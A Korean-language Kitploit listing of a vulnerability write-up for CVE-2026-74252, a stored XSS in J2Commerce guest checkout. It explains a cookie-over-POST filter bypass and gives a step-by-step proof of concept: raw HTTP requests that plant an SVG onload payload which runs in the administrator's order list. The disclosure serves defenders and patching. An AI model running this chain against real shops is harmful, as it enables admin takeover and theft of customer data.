Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-74252 — 쿠키 필터 우회를 통한 J2Commerce 게스트 체크아웃의 저장형 XSS | Kitploit
도구/GitHubGitHub/toanln-cov/cve-2026-74252
Vulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubtoanln-cov/cve-2026-74252

CVE-2026-74252

쿠키 필터 우회를 통한 J2Commerce 게스트 체크아웃의 저장형 XSS

저장소 보기
2일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

쿠키 필터 우회를 통한 J2Commerce 게스트 체크아웃 저장형 XSS

J2Commerce (com_j2store) ≤ 4.1.5 — 인증되지 않은 공격자가 XSS 페이로드를 저장하며, 페이지 로드 시 관리자 브라우저에서 자동으로 실행됨

CVE CVSS v4.0 CWE-79 Affected Researcher


요약

J2Commerce 4.1.5는 게스트 체크아웃 청구 주소 필드를 통한 저장형 크로스 사이트 스크립팅(Stored XSS) 취약점에 영향을 받습니다. 인증되지 않은 공격자는 Joomla의 Input::getArray()와 PHP의 variables_order=EGPCS($_REQUEST에서 쿠키가 POST를 재정의)를 결합한 필터 우회를 악용하여 billing_first_name과 같은 필드에 새니타이즈되지 않은 HTML을 저장합니다. 이 필드들은 htmlspecialchars() 없이 관리자 주문 관리 패널에 직접 출력되어 페이로드가 관리자 브라우저에서 실행되게 합니다.

XSS 페이로드는 관리자가 주문 목록으로 이동할 때 페이지 로드 시 자동으로 실행됩니다 — 개별 주문을 클릭할 필요가 없습니다. 단일 HTTP 요청 체인(장바구니에 추가 → 쿠키 우회로 체크아웃 제출 → 주문 완료)은 페이로드를 영구적으로 저장하며, 주문이 삭제되거나 취약점이 패치될 때까지 모든 관리자의 브라우저에서 실행됩니다.

이 공격은 공격자에게 인증을 요구하지 않습니다. 게스트 체크아웃은 전자상거래 사이트의 표준적이고 일반적으로 활성화된 기능이므로, 관리자가 새 주문을 확인할 경제적 유인이 있어 악용이 매우 쉽습니다.


영향받는 버전

구성 요소취약 버전테스트 환경수정 버전
J2Commerce (com_j2store)1.0.0 – 4.1.5Joomla 5.4.7 + MySQL 8.0에서 4.1.53.3.21 / 4.0.21 / 4.1.6

취약점 상세

유형: 크로스 사이트 스크립팅 — 저장형(CWE-79) 필요한 인증: 없음 — 인증되지 않음(게스트 체크아웃) 주요 싱크: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73 쓰기 경로: components/com_j2store/controllers/checkouts.php:535

근본 원인

이 취약점은 쓰기 경로의 입력 필터 우회와 읽기 경로의 출력 인코딩 누락이라는 두 가지 약점이 결합된 것입니다.

1. 입력 필터 우회 — Joomla Input::getArray() 오용

J2Commerce의 게스트 체크아웃 컨트롤러는 $app->input->getArray($_POST)를 사용하여 주소 필드를 읽습니다. Joomla의 구현은 $_POST 배열을 반복하면서 각 값을 필터 유형으로 사용하고(데이터가 아님), 실제 값은 $_REQUEST에서 읽습니다:

COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — 쓰기 경로

root@kitploit:~
$data = $app->input->getArray($_POST);

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — GETARRAY() 메서드(187행)

root@kitploit:~
public function getArray(array $vars = [], $datasource = null)
{
    foreach ($vars as $k => $v) {
        $results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
    }
}

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — 데이터 소스(97행)

root@kitploit:~
$this->data = $source ?? $_REQUEST;  // Reads from $_REQUEST, not $_POST

2. PHP variables_order — 쿠키가 $_REQUEST에서 POST를 재정의함

PHP의 $_REQUEST는 $_GET, $_POST, $_COOKIE로 구성된 병합된 슈퍼글로벌입니다. variables_order=EGPCS(대부분의 PHP 환경에서 컴파일 기본값)일 때 쿠키(C)가 POST(P) 뒤에 나열되므로 키가 충돌하면 쿠키가 우선합니다.

POST 본문에 first_name=RAW를 제출하면 Joomla의 InputFilter::clean()이 $_REQUEST에서 우선하는 쿠키 값 first_name=<svg...>에 대해 필터 유형 'Raw'(no-op)를 적용합니다.

LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — CLEAN() 메서드(215행)

root@kitploit:~
$type = ucfirst(strtolower($type));  // 'RAW' → 'Raw'
if ($type === 'Raw') {
    return $source;  // ← no sanitization — returns cookie value unchanged
}

최종 결과:

POST 본문 first_name=RAW는 필터를 no-op으로 설정합니다. 쿠키 first_name=<svg onload="alert(document.domain)">는 $_REQUEST에서 우선합니다. Joomla는 쿠키 값을 필터링 없이 반환하고, J2Commerce는 이를 j2store_orderinfos.billing_first_name에 원본 그대로 저장합니다.

3. 출력 인코딩 누락 — 관리자 템플릿 싱크

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — 주요 싱크(목록 페이지 로드 시 실행)

root@kitploit:~
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — 보조 싱크

root@kitploit:~
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>

이 우회는 Debian/Ubuntu를 제외한 모든 PHP 환경에서 동작합니다(Debian/Ubuntu는 명시적으로 request_order = "GP"를 설정하여 $_REQUEST에서 쿠키를 제외합니다). 그 외 주요 호스팅 환경(cPanel/Plesk 공유 호스팅, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS)은 모두 EGPCS로 폴백하므로 별도 설정 변경 없이 즉시 쿠키 재정의가 활성화됩니다.


개념 증명(PoC)

1. 관리자 기준 — 공격 전 주문 목록

피해자 관리자로 J2Commerce 관리자 주문 목록을 엽니다. 이는 관리자가 패널을 적극적으로 사용 중이며 다음 방문 시 페이로드를 만나게 됨을 확인합니다.

s1-step1-admin-orders-baseline

2. 프런트엔드에서 CSRF 토큰 추출

인증되지 않은 공격자는 J2Commerce 프런트엔드 홈페이지에 GET 요청을 보내 세션을 설정하고 페이지의 JSON 옵션에 포함된 CSRF 토큰을 추출합니다. 이 토큰은 이후 POST 요청에 필요합니다.

s1-step2-csrf-token-extract

3. 장바구니에 제품 추가

공격자의 장바구니에 제품을 추가합니다. 게스트 체크아웃 엔드포인트가 주소 제출을 수락하려면 장바구니가 비어 있지 않아야 합니다.

root@kitploit:~
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

s1-step3-add-product-to-cart

4. 핵심 우회 — 쿠키 필터 트릭으로 게스트 체크아웃 제출

first_name에 대해 충돌하는 두 값을 사용하여 게스트 체크아웃 주소 양식을 제출합니다:

  • POST 본문: first_name=RAW — Joomla는 이를 필터 유형(no-op)으로 해석합니다
  • 쿠키: first_name=<svg...> — 이 값은 $_REQUEST에서 우선하며(PHP EGPCS: 쿠키 > POST) 필터링 없이 반환됩니다
root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E

first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

s1-step4-cookie-bypass-guest-checkout

5. 배송 정보 검증 완료

동일한 쿠키 우회를 사용하여 배송 주소 단계를 제출합니다. 이 단계는 세션에 배송 국가를 설정하며, 건너뛰면 이후 단계에서 "SHIPPING_ADDRESS_NOT_FOUND" 오류가 발생합니다.

s1-step5-shipping-validate

6. 결제 방법 선택

결제 방법(배송 시 현금 결제)을 선택합니다. payment_plugin 필드는 XSS에 취약한 텍스트 입력이 아닙니다.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1

payment_plugin=payment_cash&<csrf_token>=1

s1-step6-select-payment-method

7. 주문 확인 해시 가져오기

확인 단계를 제출하여 숨겨진 hash 필드가 포함된 주문 요약 페이지를 받습니다. 이 해시는 주문을 완료하는 데 필요합니다.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1

accept_terms=1&<csrf_token>=1

s1-step7-retrieve-order-hash

8. 주문 완료 — XSS 페이로드가 데이터베이스에 저장됨

이전 단계의 해시를 사용하여 주문을 완료합니다. 서버는 billing_first_name을 원본 XSS 페이로드로 설정하여 joom_j2store_orderinfos에 주문 레코드를 생성합니다.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1

hash=<hash_from_step7>&<csrf_token>=1

s1-step8-place-order-xss-persisted

9. 관리자 패널에서 XSS 실행 — 페이지 로드 시 자동

피해자 관리자로 J2Commerce 주문 목록으로 이동합니다. XSS 페이로드는 페이지 로드 즉시 실행됩니다 — 클릭이 필요 없습니다. default_items.php:73 템플릿은 Customer 열에 billing_first_name을 이스케이프 없이 렌더링합니다.

관리자가 주문을 볼 때 서버 응답에는 다음이 포함됩니다:

root@kitploit:~
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>

s1-step9-xss-triggers-on-page-load


영향

  1. 관리자 세션 하이재킹 — 관리자 백엔드에서 실행되는 JavaScript는 관리자의 세션 쿠키(HttpOnly가 아닌 경우)에 접근할 수 있으며, 이를 공격자가 제어하는 서버로 유출하여 관리자 자격 증명 없이도 완전한 계정 탈취를 가능하게 합니다.
  2. 악성 관리자 계정 생성 — XSS 페이로드는 Joomla의 사용자 관리 API를 프로그래밍 방식으로 호출하여 새로운 최고 관리자(super-administrator) 계정을 만들 수 있으므로, 비밀번호 변경이나 세션 무효화 후에도 공격자에게 지속적인 접근 권한을 부여합니다.
  3. 악성 플러그인 설치 — 관리자 수준의 JS 실행이 가능하면 공격자는 플러그인 설치 엔드포인트를 트리거하여 PHP 웹셸을 업로드할 수 있으며, 추가 상호작용 없이 서버에서 원격 코드 실행(RCE)을 달성합니다.
  4. 전체 웹사이트 장악 — 공격자는 모든 콘텐츠를 수정하고, 데이터베이스(고객 PII 및 결제 참조 정보 포함)를 추출하고, 프런트엔드 페이지에 악성코드를 주입하고, 지속적인 백도어를 구축할 수 있습니다 — 즉 완전한 사이트 탈취에 해당합니다.
  5. 주문 접수 외에 공격 선행 조건 없음 — 게스트 체크아웃은 전자상거래 사이트의 표준적이고 일반적으로 활성화된 기능입니다. 익명 방문자는 체크아웃 양식을 제출하여 이 공격을 트리거할 수 있습니다 — 관리자가 일상적으로 주문을 확인하는 경제적 유인이 있으므로 대규모 악용이 매우 쉽습니다.

참조

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-74252
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-74252
  • GitHub 권고: https://github.com/advisories/GHSA-42m7-jqh7-g85c
  • 공급업체 보안 공지: https://www.j2commerce.com/blog/security-announcement-releases-3-3-21-4-0-21-and-4-1-6
  • 공급업체 저장소: https://github.com/j2store/J2Store
도구 다운로드